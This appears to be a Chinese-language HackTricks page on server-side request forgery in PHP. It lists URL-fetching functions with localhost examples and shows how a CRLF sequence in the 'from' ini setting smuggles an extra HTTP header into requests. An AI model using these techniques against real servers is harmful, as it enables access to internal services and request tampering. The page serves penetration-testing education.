# PHP SSRF
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{% embed url="" %}
***
### SSRF PHP函数
一些函数，如**file\_get\_contents()，fopen()，file()，md5\_file()接受URL作为输入，如果用户可以控制数据，则可能导致SSRF漏洞**：
```php
file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081");
```
### CRLF
此外，在某些情况下，甚至可以通过先前函数中的 CRLF “漏洞” 发送任意标头：
```php
# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
ini_set("from", "Hi\r\nInjected: I HAVE IT");
file_get_contents("http://127.0.0.1:8081");
GET / HTTP/1.1
From: Hi
Injected: I HAVE IT
Host: 127.0.0.1:8081
Connection: close
# Any of the previously mentioned functions will send those headers
```
{% hint style="warning" %}
有关CRLF漏洞的更多信息，请查看此漏洞
{% endhint %}
请注意，这些函数可能有其他方法来在请求中设置任意标头，例如：
```php
$url = "";
$options = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n" . // check function.stream-context-create on php.net
"User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" // i.e. An iPad
)
);
$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
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{% embed url="" %}
从零开始学习AWS黑客技术，成为英雄htARTE（HackTricks AWS红队专家）！
支持HackTricks的其他方式：
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord团队**](https://discord.gg/hRep4RUj7f) 或 [**telegram团队**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
---
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